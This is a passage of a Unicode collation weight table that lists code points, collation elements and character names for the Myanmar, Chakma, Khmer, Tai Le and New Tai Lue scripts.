[.303A.0020.0002] # MYANMAR LETTER SHAN GA -AA60 ; [.303B.0020.0002] # MYANMAR LETTER KHAMTI GA -A9E9 ; [.303C.0020.0002] # MYANMAR LETTER TAI LAING GA -1003 ; [.303D.0020.0002] # MYANMAR LETTER GHA -A9E0 ; [.303E.0020.0002] # MYANMAR LETTER SHAN GHA -A9EA ; [.303F.0020.0002] # MYANMAR LETTER TAI LAING GHA -1004 ; [.3040.0020.0002] # MYANMAR LETTER NGA -105A ; [.3041.0020.0002] # MYANMAR LETTER MON NGA -1005 ; [.3042.0020.0002] # MYANMAR LETTER CA -1078 ; [.3043.0020.0002] # MYANMAR LETTER SHAN CA -AA61 ; [.3044.0020.0002] # MYANMAR LETTER KHAMTI CA -1006 ; [.3045.0020.0002] # MYANMAR LETTER CHA -A9E1 ; [.3046.0020.0002] # MYANMAR LETTER SHAN CHA -AA62 ; [.3047.0020.0002] # MYANMAR LETTER KHAMTI CHA -AA7E ; [.3048.0020.0002] # MYANMAR LETTER SHWE PALAUNG CHA -1007 ; [.3049.0020.0002] # MYANMAR LETTER JA -AA63 ; [.304A.0020.0002] # MYANMAR LETTER KHAMTI JA -A9EB ; [.304B.0020.0002] # MYANMAR LETTER TAI LAING JA -1079 ; [.304C.0020.0002] # MYANMAR LETTER SHAN ZA -AA72 ; [.304D.0020.0002] # MYANMAR LETTER KHAMTI ZA -1008 ; [.304E.0020.0002] # MYANMAR LETTER JHA -105B ; [.304F.0020.0002] # MYANMAR LETTER MON JHA -A9E2 ; [.3050.0020.0002] # MYANMAR LETTER SHAN JHA -AA64 ; [.3051.0020.0002] # MYANMAR LETTER KHAMTI JHA -A9EC ; [.3052.0020.0002] # MYANMAR LETTER TAI LAING JHA -1061 ; [.3053.0020.0002] # MYANMAR LETTER SGAW KAREN SHA -AA7F ; [.3054.0020.0002] # MYANMAR LETTER SHWE PALAUNG SHA -1009 ; [.3055.0020.0002] # MYANMAR LETTER NYA -107A ; [.3056.0020.0002] # MYANMAR LETTER SHAN NYA -AA65 ; [.3057.0020.0002] # MYANMAR LETTER KHAMTI NYA -A9E7 ; [.3058.0020.0002] # MYANMAR LETTER TAI LAING NYA -100A ; [.3059.0020.0002] # MYANMAR LETTER NNYA -100B ; [.305A.0020.0002] # MYANMAR LETTER TTA -AA66 ; [.305B.0020.0002] # MYANMAR LETTER KHAMTI TTA -100C ; [.305C.0020.0002] # MYANMAR LETTER TTHA -AA67 ; [.305D.0020.0002] # MYANMAR LETTER KHAMTI TTHA -100D ; [.305E.0020.0002] # MYANMAR LETTER DDA -AA68 ; [.305F.0020.0002] # MYANMAR LETTER KHAMTI DDA -A9ED ; [.3060.0020.0002] # MYANMAR LETTER TAI LAING DDA -100E ; [.3061.0020.0002] # MYANMAR LETTER DDHA -AA69 ; [.3062.0020.0002] # MYANMAR LETTER KHAMTI DDHA -A9EE ; [.3063.0020.0002] # MYANMAR LETTER TAI LAING DDHA -100F ; [.3064.0020.0002] # MYANMAR LETTER NNA -106E ; [.3065.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN NNA -A9E3 ; [.3066.0020.0002] # MYANMAR LETTER SHAN NNA -A9EF ; [.3067.0020.0002] # MYANMAR LETTER TAI LAING NNA -1010 ; [.3068.0020.0002] # MYANMAR LETTER TA -1011 ; [.3069.0020.0002] # MYANMAR LETTER THA -1012 ; [.306A.0020.0002] # MYANMAR LETTER DA -107B ; [.306B.0020.0002] # MYANMAR LETTER SHAN DA -A9FB ; [.306C.0020.0002] # MYANMAR LETTER TAI LAING DA -1013 ; [.306D.0020.0002] # MYANMAR LETTER DHA -AA6A ; [.306E.0020.0002] # MYANMAR LETTER KHAMTI DHA -A9FC ; [.306F.0020.0002] # MYANMAR LETTER TAI LAING DHA -1014 ; [.3070.0020.0002] # MYANMAR LETTER NA -107C ; [.3071.0020.0002] # MYANMAR LETTER SHAN NA -AA6B ; [.3072.0020.0002] # MYANMAR LETTER KHAMTI NA -105E ; [.3073.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL NA -1015 ; [.3074.0020.0002] # MYANMAR LETTER PA -1016 ; [.3075.0020.0002] # MYANMAR LETTER PHA -107D ; [.3076.0020.0002] # MYANMAR LETTER SHAN PHA -107E ; [.3077.0020.0002] # MYANMAR LETTER SHAN FA -AA6F ; [.3078.0020.0002] # MYANMAR LETTER KHAMTI FA -108E ; [.3079.0020.0002] # MYANMAR LETTER RUMAI PALAUNG FA -A9E8 ; [.307A.0020.0002] # MYANMAR LETTER TAI LAING FA -1017 ; [.307B.0020.0002] # MYANMAR LETTER BA -107F ; [.307C.0020.0002] # MYANMAR LETTER SHAN BA -A9FD ; [.307D.0020.0002] # MYANMAR LETTER TAI LAING BA -1018 ; [.307E.0020.0002] # MYANMAR LETTER BHA -A9E4 ; [.307F.0020.0002] # MYANMAR LETTER SHAN BHA -A9FE ; [.3080.0020.0002] # MYANMAR LETTER TAI LAING BHA -1019 ; [.3081.0020.0002] # MYANMAR LETTER MA -105F ; [.3082.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL MA -101A ; [.3083.0020.0002] # MYANMAR LETTER YA -103B ; [.3084.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL YA -101B ; [.3085.0020.0002] # MYANMAR LETTER RA -AA73 ; [.3086.0020.0002] # MYANMAR LETTER KHAMTI RA -AA7A ; [.3087.0020.0002] # MYANMAR LETTER AITON RA -103C ; [.3088.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL RA -101C ; [.3089.0020.0002] # MYANMAR LETTER LA -1060 ; [.308A.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL LA -101D ; [.308B.0020.0002] # MYANMAR LETTER WA -103D ; [.308C.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL WA -1082 ; [.308D.0020.0002] # MYANMAR CONSONANT SIGN SHAN MEDIAL WA -1080 ; [.308E.0020.0002] # MYANMAR LETTER SHAN THA -1050 ; [.308F.0020.0002] # MYANMAR LETTER SHA -1051 ; [.3090.0020.0002] # MYANMAR LETTER SSA -1065 ; [.3091.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN THA -101E ; [.3092.0020.0002] # MYANMAR LETTER SA -103F ; [.3092.0020.0004][.30CB.0020.0004][.3092.0020.0004] # MYANMAR LETTER GREAT SA -AA6C ; [.3093.0020.0002] # MYANMAR LETTER KHAMTI SA -101F ; [.3094.0020.0002] # MYANMAR LETTER HA -1081 ; [.3095.0020.0002] # MYANMAR LETTER SHAN HA -AA6D ; [.3096.0020.0002] # MYANMAR LETTER KHAMTI HA -103E ; [.3097.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL HA -AA6E ; [.3098.0020.0002] # MYANMAR LETTER KHAMTI HHA -AA71 ; [.3099.0020.0002] # MYANMAR LETTER KHAMTI XA -1020 ; [.309A.0020.0002] # MYANMAR LETTER LLA -A9FA ; [.309B.0020.0002] # MYANMAR LETTER TAI LAING LLA -105C ; [.309C.0020.0002] # MYANMAR LETTER MON BBA -105D ; [.309D.0020.0002] # MYANMAR LETTER MON BBE -106F ; [.309E.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN YWA -1070 ; [.309F.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN GHWA -1066 ; [.30A0.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN PWA -1021 ; [.30A1.0020.0002] # MYANMAR LETTER A -1022 ; [.30A2.0020.0002] # MYANMAR LETTER SHAN A -1023 ; [.30A3.0020.0002] # MYANMAR LETTER I -1024 ; [.30A4.0020.0002] # MYANMAR LETTER II -1025 ; [.30A5.0020.0002] # MYANMAR LETTER U -1026 ; [.30A6.0020.0002] # MYANMAR LETTER UU -1025 102E ; [.30A6.0020.0002] # MYANMAR LETTER UU -1052 ; [.30A7.0020.0002] # MYANMAR LETTER VOCALIC R -1053 ; [.30A8.0020.0002] # MYANMAR LETTER VOCALIC RR -1054 ; [.30A9.0020.0002] # MYANMAR LETTER VOCALIC L -1055 ; [.30AA.0020.0002] # MYANMAR LETTER VOCALIC LL -1027 ; [.30AB.0020.0002] # MYANMAR LETTER E -1028 ; [.30AC.0020.0002] # MYANMAR LETTER MON E -1029 ; [.30AD.0020.0002] # MYANMAR LETTER O -102A ; [.30AE.0020.0002] # MYANMAR LETTER AU -102C ; [.30AF.0020.0002] # MYANMAR VOWEL SIGN AA -102B ; [.30AF.0020.0004] # MYANMAR VOWEL SIGN TALL AA -1083 ; [.30B0.0020.0002] # MYANMAR VOWEL SIGN SHAN AA -1072 ; [.30B1.0020.0002] # MYANMAR VOWEL SIGN KAYAH OE -109C ; [.30B2.0020.0002] # MYANMAR VOWEL SIGN AITON A -102D ; [.30B3.0020.0002] # MYANMAR VOWEL SIGN I -1071 ; [.30B4.0020.0002] # MYANMAR VOWEL SIGN GEBA KAREN I -102E ; [.30B5.0020.0002] # MYANMAR VOWEL SIGN II -1033 ; [.30B6.0020.0002] # MYANMAR VOWEL SIGN MON II -102F ; [.30B7.0020.0002] # MYANMAR VOWEL SIGN U -1073 ; [.30B8.0020.0002] # MYANMAR VOWEL SIGN KAYAH U -1074 ; [.30B9.0020.0002] # MYANMAR VOWEL SIGN KAYAH EE -1030 ; [.30BA.0020.0002] # MYANMAR VOWEL SIGN UU -1056 ; [.30BB.0020.0002] # MYANMAR VOWEL SIGN VOCALIC R -1057 ; [.30BC.0020.0002] # MYANMAR VOWEL SIGN VOCALIC RR -1058 ; [.30BD.0020.0002] # MYANMAR VOWEL SIGN VOCALIC L -1059 ; [.30BE.0020.0002] # MYANMAR VOWEL SIGN VOCALIC LL -1031 ; [.30BF.0020.0002] # MYANMAR VOWEL SIGN E -1084 ; [.30C0.0020.0002] # MYANMAR VOWEL SIGN SHAN E -1035 ; [.30C1.0020.0002] # MYANMAR VOWEL SIGN E ABOVE -1085 ; [.30C2.0020.0002] # MYANMAR VOWEL SIGN SHAN E ABOVE -1032 ; [.30C3.0020.0002] # MYANMAR VOWEL SIGN AI -109D ; [.30C4.0020.0002] # MYANMAR VOWEL SIGN AITON AI -1034 ; [.30C5.0020.0002] # MYANMAR VOWEL SIGN MON O -1062 ; [.30C6.0020.0002] # MYANMAR VOWEL SIGN SGAW KAREN EU -1067 ; [.30C7.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN EU -1068 ; [.30C8.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN UE -A9E5 ; [.30C9.0020.0002] # MYANMAR SIGN SHAN SAW -1086 ; [.30CA.0020.0002] # MYANMAR VOWEL SIGN SHAN FINAL Y -1039 ; [.30CB.0020.0002] # MYANMAR SIGN VIRAMA -103A ; [.30CC.0020.0002] # MYANMAR SIGN ASAT -1063 ; [.30CD.0020.0002] # MYANMAR TONE MARK SGAW KAREN HATHI -1064 ; [.30CE.0020.0002] # MYANMAR TONE MARK SGAW KAREN KE PHO -1069 ; [.30CF.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-1 -106A ; [.30D0.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-2 -106B ; [.30D1.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-3 -106C ; [.30D2.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-4 -106D ; [.30D3.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-5 -1087 ; [.30D4.0020.0002] # MYANMAR SIGN SHAN TONE-2 -108B ; [.30D5.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-2 -1088 ; [.30D6.0020.0002] # MYANMAR SIGN SHAN TONE-3 -108C ; [.30D7.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-3 -108D ; [.30D8.0020.0002] # MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE -1089 ; [.30D9.0020.0002] # MYANMAR SIGN SHAN TONE-5 -108A ; [.30DA.0020.0002] # MYANMAR SIGN SHAN TONE-6 -108F ; [.30DB.0020.0002] # MYANMAR SIGN RUMAI PALAUNG TONE-5 -109A ; [.30DC.0020.0002] # MYANMAR SIGN KHAMTI TONE-1 -109B ; [.30DD.0020.0002] # MYANMAR SIGN KHAMTI TONE-3 -AA7B ; [.30DE.0020.0002] # MYANMAR SIGN PAO KAREN TONE -AA7C ; [.30DF.0020.0002] # MYANMAR SIGN TAI LAING TONE-2 -AA7D ; [.30E0.0020.0002] # MYANMAR SIGN TAI LAING TONE-5 -AA74 ; [.30E1.0020.0002] # MYANMAR LOGOGRAM KHAMTI OAY -AA75 ; [.30E2.0020.0002] # MYANMAR LOGOGRAM KHAMTI QN -AA76 ; [.30E3.0020.0002] # MYANMAR LOGOGRAM KHAMTI HM -11103 ; [.30E4.0020.0002] # CHAKMA LETTER AA -11104 ; [.30E5.0020.0002] # CHAKMA LETTER I -11105 ; [.30E6.0020.0002] # CHAKMA LETTER U -11106 ; [.30E7.0020.0002] # CHAKMA LETTER E -11107 ; [.30E8.0020.0002] # CHAKMA LETTER KAA -11108 ; [.30E9.0020.0002] # CHAKMA LETTER KHAA -11109 ; [.30EA.0020.0002] # CHAKMA LETTER GAA -1110A ; [.30EB.0020.0002] # CHAKMA LETTER GHAA -1110B ; [.30EC.0020.0002] # CHAKMA LETTER NGAA -1110C ; [.30ED.0020.0002] # CHAKMA LETTER CAA -1110D ; [.30EE.0020.0002] # CHAKMA LETTER CHAA -1110E ; [.30EF.0020.0002] # CHAKMA LETTER JAA -1110F ; [.30F0.0020.0002] # CHAKMA LETTER JHAA -11110 ; [.30F1.0020.0002] # CHAKMA LETTER NYAA -11111 ; [.30F2.0020.0002] # CHAKMA LETTER TTAA -11112 ; [.30F3.0020.0002] # CHAKMA LETTER TTHAA -11113 ; [.30F4.0020.0002] # CHAKMA LETTER DDAA -11114 ; [.30F5.0020.0002] # CHAKMA LETTER DDHAA -11115 ; [.30F6.0020.0002] # CHAKMA LETTER NNAA -11116 ; [.30F7.0020.0002] # CHAKMA LETTER TAA -11117 ; [.30F8.0020.0002] # CHAKMA LETTER THAA -11118 ; [.30F9.0020.0002] # CHAKMA LETTER DAA -11119 ; [.30FA.0020.0002] # CHAKMA LETTER DHAA -1111A ; [.30FB.0020.0002] # CHAKMA LETTER NAA -1111B ; [.30FC.0020.0002] # CHAKMA LETTER PAA -1111C ; [.30FD.0020.0002] # CHAKMA LETTER PHAA -1111D ; [.30FE.0020.0002] # CHAKMA LETTER BAA -1111E ; [.30FF.0020.0002] # CHAKMA LETTER BHAA -1111F ; [.3100.0020.0002] # CHAKMA LETTER MAA -11120 ; [.3101.0020.0002] # CHAKMA LETTER YYAA -11121 ; [.3102.0020.0002] # CHAKMA LETTER YAA -11122 ; [.3103.0020.0002] # CHAKMA LETTER RAA -11123 ; [.3104.0020.0002] # CHAKMA LETTER LAA -11124 ; [.3105.0020.0002] # CHAKMA LETTER WAA -11125 ; [.3106.0020.0002] # CHAKMA LETTER SAA -11126 ; [.3107.0020.0002] # CHAKMA LETTER HAA -11127 ; [.3108.0020.0002] # CHAKMA VOWEL SIGN A -11128 ; [.3109.0020.0002] # CHAKMA VOWEL SIGN I -11129 ; [.310A.0020.0002] # CHAKMA VOWEL SIGN II -1112A ; [.310B.0020.0002] # CHAKMA VOWEL SIGN U -1112B ; [.310C.0020.0002] # CHAKMA VOWEL SIGN UU -1112C ; [.310D.0020.0002] # CHAKMA VOWEL SIGN E -1112D ; [.310E.0020.0002] # CHAKMA VOWEL SIGN AI -1112E ; [.310F.0020.0002] # CHAKMA VOWEL SIGN O -11131 11127 ; [.310F.0020.0002] # CHAKMA VOWEL SIGN O -1112F ; [.3110.0020.0002] # CHAKMA VOWEL SIGN AU -11132 11127 ; [.3110.0020.0002] # CHAKMA VOWEL SIGN AU -11130 ; [.3111.0020.0002] # CHAKMA VOWEL SIGN OI -11131 ; [.3112.0020.0002] # CHAKMA O MARK -11132 ; [.3113.0020.0002] # CHAKMA AU MARK -11133 ; [.3114.0020.0002] # CHAKMA VIRAMA -11134 ; [.3115.0020.0002] # CHAKMA MAAYYAA -1780 ; [.3116.0020.0002] # KHMER LETTER KA -1781 ; [.3117.0020.0002] # KHMER LETTER KHA -1782 ; [.3118.0020.0002] # KHMER LETTER KO -1783 ; [.3119.0020.0002] # KHMER LETTER KHO -1784 ; [.311A.0020.0002] # KHMER LETTER NGO -1785 ; [.311B.0020.0002] # KHMER LETTER CA -1786 ; [.311C.0020.0002] # KHMER LETTER CHA -1787 ; [.311D.0020.0002] # KHMER LETTER CO -1788 ; [.311E.0020.0002] # KHMER LETTER CHO -1789 ; [.311F.0020.0002] # KHMER LETTER NYO -178A ; [.3120.0020.0002] # KHMER LETTER DA -178B ; [.3121.0020.0002] # KHMER LETTER TTHA -178C ; [.3122.0020.0002] # KHMER LETTER DO -178D ; [.3123.0020.0002] # KHMER LETTER TTHO -178E ; [.3124.0020.0002] # KHMER LETTER NNO -178F ; [.3125.0020.0002] # KHMER LETTER TA -1790 ; [.3126.0020.0002] # KHMER LETTER THA -1791 ; [.3127.0020.0002] # KHMER LETTER TO -1792 ; [.3128.0020.0002] # KHMER LETTER THO -1793 ; [.3129.0020.0002] # KHMER LETTER NO -1794 ; [.312A.0020.0002] # KHMER LETTER BA -1795 ; [.312B.0020.0002] # KHMER LETTER PHA -1796 ; [.312C.0020.0002] # KHMER LETTER PO -1797 ; [.312D.0020.0002] # KHMER LETTER PHO -1798 ; [.312E.0020.0002] # KHMER LETTER MO -1799 ; [.312F.0020.0002] # KHMER LETTER YO -179A ; [.3130.0020.0002] # KHMER LETTER RO -179B ; [.3131.0020.0002] # KHMER LETTER LO -179C ; [.3132.0020.0002] # KHMER LETTER VO -179D ; [.3133.0020.0002] # KHMER LETTER SHA -179E ; [.3134.0020.0002] # KHMER LETTER SSO -179F ; [.3135.0020.0002] # KHMER LETTER SA -17A0 ; [.3136.0020.0002] # KHMER LETTER HA -17A1 ; [.3137.0020.0002] # KHMER LETTER LA -17A2 ; [.3138.0020.0002] # KHMER LETTER QA -17DC ; [.3139.0020.0002] # KHMER SIGN AVAKRAHASANYA -17A3 ; [.313A.0020.0002] # KHMER INDEPENDENT VOWEL QAQ -17A4 ; [.313B.0020.0002] # KHMER INDEPENDENT VOWEL QAA -17A5 ; [.313C.0020.0002] # KHMER INDEPENDENT VOWEL QI -17A6 ; [.313D.0020.0002] # KHMER INDEPENDENT VOWEL QII -17A7 ; [.313E.0020.0002] # KHMER INDEPENDENT VOWEL QU -17A8 ; [.313F.0020.0002] # KHMER INDEPENDENT VOWEL QUK -17A9 ; [.3140.0020.0002] # KHMER INDEPENDENT VOWEL QUU -17AA ; [.3141.0020.0002] # KHMER INDEPENDENT VOWEL QUUV -17AB ; [.3142.0020.0002] # KHMER INDEPENDENT VOWEL RY -17AC ; [.3143.0020.0002] # KHMER INDEPENDENT VOWEL RYY -17AD ; [.3144.0020.0002] # KHMER INDEPENDENT VOWEL LY -17AE ; [.3145.0020.0002] # KHMER INDEPENDENT VOWEL LYY -17AF ; [.3146.0020.0002] # KHMER INDEPENDENT VOWEL QE -17B0 ; [.3147.0020.0002] # KHMER INDEPENDENT VOWEL QAI -17B1 ; [.3148.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE ONE -17B2 ; [.3149.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE TWO -17B3 ; [.314A.0020.0002] # KHMER INDEPENDENT VOWEL QAU -17B6 ; [.314B.0020.0002] # KHMER VOWEL SIGN AA -17B7 ; [.314C.0020.0002] # KHMER VOWEL SIGN I -17B8 ; [.314D.0020.0002] # KHMER VOWEL SIGN II -17B9 ; [.314E.0020.0002] # KHMER VOWEL SIGN Y -17BA ; [.314F.0020.0002] # KHMER VOWEL SIGN YY -17BB ; [.3150.0020.0002] # KHMER VOWEL SIGN U -17BC ; [.3151.0020.0002] # KHMER VOWEL SIGN UU -17BD ; [.3152.0020.0002] # KHMER VOWEL SIGN UA -17BE ; [.3153.0020.0002] # KHMER VOWEL SIGN OE -17BF ; [.3154.0020.0002] # KHMER VOWEL SIGN YA -17C0 ; [.3155.0020.0002] # KHMER VOWEL SIGN IE -17C1 ; [.3156.0020.0002] # KHMER VOWEL SIGN E -17C2 ; [.3157.0020.0002] # KHMER VOWEL SIGN AE -17C3 ; [.3158.0020.0002] # KHMER VOWEL SIGN AI -17C4 ; [.3159.0020.0002] # KHMER VOWEL SIGN OO -17C5 ; [.315A.0020.0002] # KHMER VOWEL SIGN AU -17D2 ; [.315B.0020.0002] # KHMER SIGN COENG -1950 ; [.315C.0020.0002] # TAI LE LETTER KA -1951 ; [.315D.0020.0002] # TAI LE LETTER XA -1952 ; [.315E.0020.0002] # TAI LE LETTER NGA -1953 ; [.315F.0020.0002] # TAI LE LETTER TSA -1954 ; [.3160.0020.0002] # TAI LE LETTER SA -1955 ; [.3161.0020.0002] # TAI LE LETTER YA -1956 ; [.3162.0020.0002] # TAI LE LETTER TA -1957 ; [.3163.0020.0002] # TAI LE LETTER THA -1958 ; [.3164.0020.0002] # TAI LE LETTER LA -1959 ; [.3165.0020.0002] # TAI LE LETTER PA -195A ; [.3166.0020.0002] # TAI LE LETTER PHA -195B ; [.3167.0020.0002] # TAI LE LETTER MA -195C ; [.3168.0020.0002] # TAI LE LETTER FA -195D ; [.3169.0020.0002] # TAI LE LETTER VA -195E ; [.316A.0020.0002] # TAI LE LETTER HA -195F ; [.316B.0020.0002] # TAI LE LETTER QA -1960 ; [.316C.0020.0002] # TAI LE LETTER KHA -1961 ; [.316D.0020.0002] # TAI LE LETTER TSHA -1962 ; [.316E.0020.0002] # TAI LE LETTER NA -1963 ; [.316F.0020.0002] # TAI LE LETTER A -1964 ; [.3170.0020.0002] # TAI LE LETTER I -1965 ; [.3171.0020.0002] # TAI LE LETTER EE -1966 ; [.3172.0020.0002] # TAI LE LETTER EH -1967 ; [.3173.0020.0002] # TAI LE LETTER U -1968 ; [.3174.0020.0002] # TAI LE LETTER OO -1969 ; [.3175.0020.0002] # TAI LE LETTER O -196A ; [.3176.0020.0002] # TAI LE LETTER UE -196B ; [.3177.0020.0002] # TAI LE LETTER E -196C ; [.3178.0020.0002] # TAI LE LETTER AUE -196D ; [.3179.0020.0002] # TAI LE LETTER AI -1970 ; [.317A.0020.0002] # TAI LE LETTER TONE-2 -1971 ; [.317B.0020.0002] # TAI LE LETTER TONE-3 -1972 ; [.317C.0020.0002] # TAI LE LETTER TONE-4 -1973 ; [.317D.0020.0002] # TAI LE LETTER TONE-5 -1974 ; [.317E.0020.0002] # TAI LE LETTER TONE-6 -1980 ; [.317F.0020.0002] # NEW TAI LUE LETTER HIGH QA -19B5 1980 ; [.317F.0020.0002][.31B0.0020.0002] # -19B6 1980 ; [.317F.0020.0002][.31B1.0020.0002] # -19B7 1980 ; [.317F.0020.0002][.31B2.0020.0002] # -19BA 1980 ; [.317F.0020.0002][.31B5.0020.0002] # -1981 ; [.3180.0020.0002] # NEW TAI LUE LETTER LOW QA -19B5 1981 ; [.3180.0020.0002][.31B0.0020.0002] # -19B6 1981 ; [.3180.0020.0002][.31B1.0020.0002] # -19B7 1981 ; [.3180.0020.0002][.31B2.0020.0002] # -19BA 1981 ; [.3180.0020.0002][.31B5.0020.0002] # -1982 ; [.3181.0020.0002] # NEW TAI LUE LETTER HIGH KA -19B5 1982 ; [.3181.0020.0002][.31B0.0020.0002] # -19B6 1982 ; [.3181.0020.0002][.31B1.0020.0002] # -19B7 1982 ; [.3181.0020.0002][.31B2.0020.0002] # -19BA 1982 ; [.3181.0020.0002][.31B5.0020.0002] # -1983 ; [.3182.0020.0002] # NEW TAI LUE LETTER HIGH XA -19B5 1983 ; [.3182.0020.0002][.31B0.0020.0002] # -19B6 1983 ; [.3182.0020.0002][.31B1.0020.0002] # -19B7 1983 ; [.3182.0020.0002][.31B2.0020.0002] # -19BA 1983 ; [.3182.0020.0002][.31B5.0020.0002] # -1984 ; [.3183.0020.0002] # NEW TAI LUE LETTER HIGH NGA -19B5 1984 ; [.3183.0020.0002][.31B0.0020.0002] # -19B6 1984 ; [.3183.0020.0002][.31B1.0020.0002] # -19B7 1984 ; [.3183.0020.0002][.31B2.0020.0002] # -19BA 1984 ; [.3183.0020.0002][.31B5.0020.0002] # -1985 ; [.3184.0020.0002] # NEW TAI LUE LETTER LOW KA -19B5 1985 ; [.3184.0020.0002][.31B0.0020.0002] # -19B6 1985 ; [.3184.0020.0002][.31B1.0020.0002] # -19B7 1985 ; [.3184.0020.0002][.31B2.0020.0002] # -19BA 1985 ; [.3184.0020.0002][.31B5.0020.0002] # -1986 ; [.3185.0020.0002] # NEW TAI LUE LETTER LOW XA -19B5 1986 ; [.3185.0020.0002][.31B0.0020.0002] # -19B6 1986 ; [.3185.0020.0002][.31B1.0020.0002] # -19B7 1986 ; [.3185.0020.0002][.31B2.0020.0002] # -19BA 1986 ; [.3185.0020.0002][.31B5.0020.0002] # -1987 ; [.3186.0020.0002] # NEW TAI LUE LETTER LOW NGA -19B5 1987 ; [.3186.0020.0002][.31B0.0020.0002] # -19B6 1987 ; [.3186.0020.0002][.31B1.0020.0002] # -19B7 1987 ; [.3186.0020.0002][.31B2.0020.0002] # -19BA 1987 ; [.3186.0020.0002][.31B5.0020.0002] # -1988 ; [.3187.0020.0002] # NEW TAI LUE LETTER HIGH TSA -19B5 1988 ; [.3187.0020.0002][.31B0.0020.0002] # -19B6 1988 ; [.3187.0020.0002][.31B1.0020.0002] # -19B7 1988 ; [.3187.0020.0002][.31B2.0020.0002] # -19BA 1988 ; [.3187.0020.0002][.31B5.0020.0002] # -1989 ; [.3188.0020.0002] # NEW TAI LUE LETTER HIGH SA -19B5 1989 ; [.3188.0020.0002][.31B0.0020.0002] # -19B6 1989 ; [.3188.0020.0002][.31B1.0020.0002] # -19B7 1989 ; [.3188.0020.0002][.31B2.0020.0002] # -19BA 1989 ; [.3188.0020.0002][.31B5.0020.0002] # -198A ; [.3189.0020.0002] # NEW TAI LUE LETTER HIGH YA -19B5 198A ; [.3189.0020.0002][.31B0.0020.0002] # -19B6 198A ; [.3189.0020.0002][.31B1.0020.0002] # -19B7 198A ; [.3189.0020.0002][.31B2.0020.0002] # -19BA 198A ; [.3189.0020.0002][.31B5.0020.0002] # -198B ; [.318A.0020.0002] # NEW TAI LUE LETTER LOW TSA -19B5 198B ; [.318A.0020.0002][.31B0.0020.0002] # -19B6 198B ; [.318A.0020.0002][.31B1.0020.0002] # -19B7 198B ; [.318A.0020.0002][.31B2.0020.0002] # -19BA 198B ; [.318A.0020.0002][.31B5.0020.0002] # -198C ; [.318B.0020.0002] # NEW TAI LUE LETTER LOW SA -19B5 198C ; [.318B.0020.0002][.31B0.0020.0002] # -19B6 198C ; [.318B.0020.0002][.31B1.0020.0002] # -19B7 198C ; [.318B.0020.0002][.31B2.0020.0002] # -19BA 198C ; [.318B.0020.0002][.31B5.0020.0002] # -198D ; [.318C.0020.0002] # NEW TAI LUE LETTER LOW YA -19B5 198D ; [.318C.0020.0002][.31B0.0020.0002] # -19B6 198D ; [.318C.0020.0002][.31B1.0020.0002] # -19B7 198D ; [.318C.0020.0002][.31B2.0020.0002] # -19BA 198D ; [.318C.0020.0002][.31B5.0020.0002] # -198E ; [.318D.0020.0002] # NEW TAI LUE LETTER HIGH TA -19B5 198E ; [.318D.0020.0002][.31B0.0020.0002] # -19B6 198E ; [.318D.0020.0002][.31B1.0020.0002] # -19B7 198E ; [.318D.0020.0002][.31B2.0020.0002] # -19BA 198E ; [.318D.0020.0002][.31B5.0020.0002] # -198F ; [.318E.0020.0002] # NEW TAI LUE LETTER HIGH THA -19B5 198F ; [.318E.0020.0002][.31B0.0020.0002] # -19B6 198F ; [.318E.0020.0002][.31B1.0020.0002] # -19B7 198F ; [.318E.0020.0002][.31B2.0020.0002] # -19BA 198F ; [.318E.0020.0002][.31B5.0020.0002] # -1990 ; [.318F.0020.0002] # NEW TAI LUE LETTER HIGH NA -19B5 1990 ; [.318F.0020.0002][.31B0.0020.0002] # -19B6 1990 ; [.318F.0020.0002][.31B1.0020.0002] # -19B7 1990 ; [.318F.0020.0002][.31B2.0020.0002] # -19BA 1990 ; [.318F.0020.0002][.31B5.0020.0002] # -1991 ; [.3190.0020.0002] # NEW TAI LUE LETTER LOW TA -19B5 1991 ; [.3190.0020.0002][.31B0.0020.0002] # -19B6 1991 ; [.3190.0020.0002][.31B1.0020.0002] # -19B7 1991 ; [.3190.0020.0002][.31B2.0020.0002] # -19BA 1991 ; [.3190.0020.0002][.31B5.0020.0002] # -1992 ; [.3191.0020.0002] # NEW TAI LUE LETTER LOW THA -19B5 1992 ; [.3191.0020.0002][.31B0.0020.0002] # -19B6 1992 ; [.3191.0020.0002][.31B1.0020.0002] # -19B7 1992 ; [.3191.0020.0002][.31B2.0020.0002] # -19BA 1992 ; [.3191.0020.0002][.31B5.0020.0002] # -1993 ; [.3192.0020.0002] # NEW TAI LUE LETTER LOW NA -19B5 1993 ; [.3192.0020.0002][.31B0.0020.0002] # -19B6 1993 ; [.3192.0020.0002][.31B1.0020.0002] # -19B7 1993 ; [.3192.0020.0002][.31B2.0020.0002] # -19BA 1993 ; [.3192.0020.0002][.31B5.0020.0002] # -1994 ; [.3193.0020.0002] # NEW TAI LUE LETTER HIGH PA -19B5 1994 ; [.3193.0020.0002][.31B0.0020.0002] # -19B6 1994 ; [.3193.0020.0002][.31B1.0020.0002] # -19B7 1994 ; [.3193.0020.0002][.31B2.0020.0002] # -19BA 1994 ; [.3193.0020.0002][.31B5.0020.0002] # -1995 ; [.3194.0020.0002] # NEW TAI LUE LETTER HIGH PHA -19B5 1995 ; [.3194.0020.0002][.31B0.0020.0002] # -19B6 1995 ; [.3194.0020.0002][.31B1.0020.0002] # -19B7 1995 ; 